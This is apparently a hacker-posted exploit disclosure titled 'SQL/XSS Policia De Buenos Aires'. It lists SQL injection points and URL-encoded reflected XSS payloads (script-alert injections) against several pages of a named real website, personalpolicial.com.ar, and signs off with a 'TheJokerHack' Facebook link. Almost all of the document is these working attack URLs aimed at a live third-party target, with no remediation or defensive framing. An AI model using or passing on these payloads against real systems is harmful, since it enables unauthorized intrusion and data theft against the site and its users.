SQL/XSS Policia De Buenos Aires

######################Exploit#######################
# Exploit Title: SQL/XSS Policia De Buenos Aires
#
# Exploit Author: YeiZeta
#
# Category: Web Application
#
##############################################

SQL

http://www.personalpolicial.com.ar/recomendar_nota.php?iddato=-1
http://www.personalpolicial.com.ar/deledetalle.php?iddato=-1

XSS:

http://www.personalpolicial.com.ar/reserva.php?iddato='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000093)%3C/script%3E

http://www.personalpolicial.com.ar/noticiadetalle.php?iddato='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000066)%3C/script%3E
##############################################
https://www.facebook.com/TheJokerHack
##############################################